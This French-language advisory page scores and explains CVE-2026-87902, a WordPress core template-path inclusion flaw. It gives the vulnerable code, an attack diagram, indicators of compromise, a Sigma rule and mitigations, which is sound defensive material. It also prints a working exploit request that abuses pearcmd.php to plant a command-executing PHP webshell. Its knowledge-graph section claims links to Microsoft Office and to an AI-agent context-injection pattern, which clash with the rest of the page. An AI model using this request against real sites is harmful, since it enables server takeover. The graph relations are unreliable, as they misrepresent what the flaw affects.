Aller au contenu

CVE-2026-87902 : inclusion de fichier local PHP arbitraire dans la résolution des modèles WordPress core (RCE)

Densité :
HERMES

SCORE DE MENACE HERMES & RISQUE D'INFRASTRUCTURE WEB MONDIALE

Cible : WordPress Core - Sous-système de résolution des modèles get_page_template()
Confiance : 98%
93 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 18 / 20
Activité de menace 19 / 20
Militarisation 19 / 20
Exposition 20 / 20
Prévalence 20 / 20
Impact 19 / 20
Maturité de l'exploit 19 / 20
Potentiel d'attaque en chaîne 19 / 20
⚖️ Divergence & Justification opérationnelle

Le score NVD CVSS v3.1 évalue la CVE-2026-87902 à 8.1 (Élevé) avec une complexité élevée (AC:H), supposant des prérequis stricts quant à l'agencement du serveur et du thème. Le Hermes Threat Score lui attribue 93 (CRITIQUE), motivé par une exploitation active massive et immédiate cataloguée au CISA KEV le 25 septembre 2026. WordPress propulsant plus de 40 % des sites web mondiaux, les botnets automatisés ont militarisé cette faille via des artefacts omniprésents (tels que pearcmd.php), aboutissant à une exécution de code à distance déterministe.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-87902: WordPress Core Template Resolution Arbitrary PHP File InclusionVULNÉRABILITÉ

Nœuds connectés : 3
Relations sortantes actives
→ affectsCOMPOSANTWordPress Core
99% VERY_HIGH

Ubiquitous open-source content management system powering over 40% of the top 10 million websites globally.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“WordPress Core security advisory GHSA-7hp8-65ch-5whp and CISA KEV confirm CVE-2026-87902 affects WordPress Core.”

Preuves vérifiées associées :
→ affectsCOMPOSANTMicrosoft Office & 365 Apps
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”

Preuves vérifiées associées :
→ exploitsMODÈLE D'ATTAQUEAAP-002: Indirect Context Injection
92% VERY_HIGH

Adversary embeds covert payload instructions into retrieved external data (web pages, repositories, emails) that subvert model planning when parsed by autonomous agents.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“CVE-2026-87902 weaponizes the agentic attack pattern formalized under AAP-002.”

Preuves vérifiées associées :

WordPress constitue le moteur de publication le plus répandu au monde, administrant les portails d’entreprise, les plateformes e-commerce et les médias institutionnels.

ParamètreSpécification TechniqueImpact Opérationnel
Identifiant CVECVE-2026-87902Référence internationale & catalogue CISA KEV
Classe de failleCWE-98: PHP File Inclusion / CWE-22: Path TraversalExécution arbitraire de fichiers locaux
Fonction vulnérableget_page_template() dans wp-includes/template.phpRésolveur de gabarit de page
Vecteur d’attaqueRéseau (Port 80/443 HTTP/HTTPS)Requête web non authentifiée
Mécanisme d’armementTraversée via _wp_page_template / pearcmd.phpExécution de code à distance (RCE)
Versions touchéesWordPress Core 4.7.0 à 7.1.1Impact transversal multi-branches
Correctifs publiés7.1.2, 7.0.6, 6.9.9, 6.8.10, 6.7.9, 6.6.9Mise à jour immédiate obligatoire

La faille de conception dans la résolution de modèle

Section intitulée « La faille de conception dans la résolution de modèle »

L’architecture de WordPress repose sur la Template Hierarchy. Lors du chargement d’une page, la fonction get_page_template() évalue les candidats :

// Logique vulnérable dans wp-includes/template.php
function get_page_template() {
$id = get_queried_object_id();
$template = get_page_template_slug();
$pagename = get_query_var( 'pagename' );
$templates = array();
if ( $template && 0 === validate_file( $template ) ) {
$templates[] = $template; // Injecté sans confinement de dossier !
}
if ( $pagename ) {
$templates[] = "page-$pagename.php";
}
if ( $id ) {
$templates[] = "page-$id.php";
}
$templates[] = 'page.php';
return get_query_template( 'page', $templates );
}

L’erreur découle de l’utilisation insuffisante de validate_file( $template ). En PHP, cette fonction ne bloque que les chemins relatifs ascendants évidents mais ne neutralise pas les chemins absolus ni les normalisations via réécritures d’URL. Lors de la résolution, locate_template() parcourt la liste :

// Dans wp-includes/template.php
function locate_template( $template_names, $load = false, $require_once = true, $args = array() ) {
$located = '';
foreach ( (array) $template_names as $template_name ) {
if ( ! $template_name ) {
continue;
}
if ( file_exists( STYLESHEETPATH . '/' . $template_name ) ) {
$located = STYLESHEETPATH . '/' . $template_name;
break;
} elseif ( file_exists( TEMPLATEPATH . '/' . $template_name ) ) {
$located = TEMPLATEPATH . '/' . $template_name;
break;
} elseif ( file_exists( ABSPATH . WPINC . '/theme-compat/' . $template_name ) ) {
$located = ABSPATH . WPINC . '/theme-compat/' . $template_name;
break;
} elseif ( file_exists( $template_name ) ) { // ANOMALIE CRITIQUE !
$located = $template_name; // Accepte n'importe quel fichier du système hôte !
break;
}
}
if ( $load && '' !== $located ) {
load_template( $located, $require_once, $args );
}
return $located;
}

La clause de repli file_exists( $template_name ) teste le chemin directement sur la racine du système de fichiers hôte. Si un chemin absolu valide vers un fichier PHP lisible est spécifié, WordPress transmet ce fichier à load_template(), qui exécute alors require_once $located.

Dans les conteneurs Docker PHP et les hébergements où le gestionnaire PEAR est présent avec register_argc_argv = On, les attaquants exploitent la CVE-2026-87902 pour inclure /usr/local/lib/php/pearcmd.php :

GET /?+config-create+/&_wp_page_template=/usr/local/lib/php/pearcmd.php&/<?=system($_GET['cmd']);?>+/var/www/html/shell.php HTTP/1.1
Host: cible-wordpress.com
User-Agent: Mozilla/5.0
+----------------------------------------------------------------------------------------------------+
| CYCLE D'ATTAQUE DE LA CVE-2026-87902 |
+----------------------------------------------------------------------------------------------------+
[Attaquant Distant Non Authentifié]
│
│ [1] Envoie une requête HTTP GET avec paramètre _wp_page_template manipulé
▼
[Moteur de Routage WordPress Core]
│
├───► 1. get_page_template() extrait le slug du modèle
│
├───► 2. locate_template() valide la clause : file_exists('/usr/local/lib/php/pearcmd.php')
│
├───► 3. load_template() exécute require_once('/usr/local/lib/php/pearcmd.php')
│
├───► 4. pearcmd traite la chaîne de requête (register_argc_argv)
│ La sous-commande config-create écrit la charge dans /var/www/html/shell.php
│
▼
[Exécution de Code à Distance (RCE)]
│
└───► L'attaquant sollicite /shell.php?cmd=id -> Prise de contrôle du serveur
+----------------------------------------------------------------------------------------------------+

Ce vecteur d’intrusion présente des correspondances directes avec les compromissions documentées dans la CVE-2026-63030 (RCE sur l’API REST WordPress), la CVE-2026-5430 (Bypass WSO2) et la CVE-2026-71362 (Détournement de session Adobe Commerce).


3. Déroulement forensique & indicateurs de compromission

Section intitulée « 3. Déroulement forensique & indicateurs de compromission »
[T0:00.000] Réception d'une requête HTTP comportant _wp_page_template avec chemin absolu.
[T0:00.040] Résolution par locate_template() et inclusion de pearcmd.php.
[T0:00.080] Analyse des arguments CLI et écriture d'un fichier .php dans la racine web ou wp-content/uploads.
[T0:00.350] Sollicitation directe de la webshell nouvellement créée et exécution de commandes shell.
  1. Journaux d’accès HTTP :
    • Rechercher des requêtes contenant _wp_page_template associé à des chemins absolus (/usr/, /tmp/, /var/) ou des séquences de traversée (..%2f).
    • Surveiller l’apparition des termes config-create ou pearcmd.
  2. Contrôle d’intégrité du système de fichiers :
    • Inspecter les répertoires /var/www/html/ et /wp-content/uploads/ pour déceler tout fichier .php déposé récemment (find /var/www/html/ -type f -name "*.php" -mtime -3).
  3. Surveillance des processus :
    • Identifier tout processus enfant anormal engendré par php-fpm ou apache2 (/bin/sh, /bin/bash, curl, wget).

title: Traversée de Répertoire dans la Résolution de Modèles WordPress (CVE-2026-87902)
id: 87902f01-wordpress-template-traversal-fr
status: stable
description: Détecte les tentatives d'exploitation ciblant WordPress Core CVE-2026-87902 pour inclure des fichiers locaux PHP via get_page_template.
references:
- https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
- https://cve.org/CVERecord?id=CVE-2026-87902
author: Hermes Codex Detection Engineering
date: 2026-09-26
logsource:
category: webserver
detection:
selection_param:
cs-uri-query|contains:
- '_wp_page_template='
- 'pearcmd'
selection_path:
cs-uri-query|contains:
- '/usr/'
- '/tmp/'
- '/var/'
- '..'
condition: selection_param and selection_path
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026-87902

  1. Mise à jour immédiate du noyau WordPress : appliquer impérativement les correctifs 7.1.2, 7.0.6, 6.9.9, 6.8.10, 6.7.9 ou 6.6.9.
  2. Désactiver register_argc_argv dans php.ini : configurer explicitement register_argc_argv = Off dans tous les environnements de production pour neutraliser le vecteur pearcmd.php.
  3. Verrouiller les droits d’écriture : restreindre strictement les permissions d’écriture du serveur web au seul dossier wp-content/uploads/ et interdire l’exécution des scripts PHP au sein de ce dossier via la configuration Nginx ou Apache.
  4. Déployer des règles WAF : filtrer immédiatement au niveau WAF toute requête entrante associant _wp_page_template à des caractères de séparation de dossiers (/ ou ..).
  5. Recherche de webshells persistantes : effectuer un balayage complet de l’arborescence WordPress pour identifier et éradiquer tout fichier malveillant déposé avant l’application du correctif.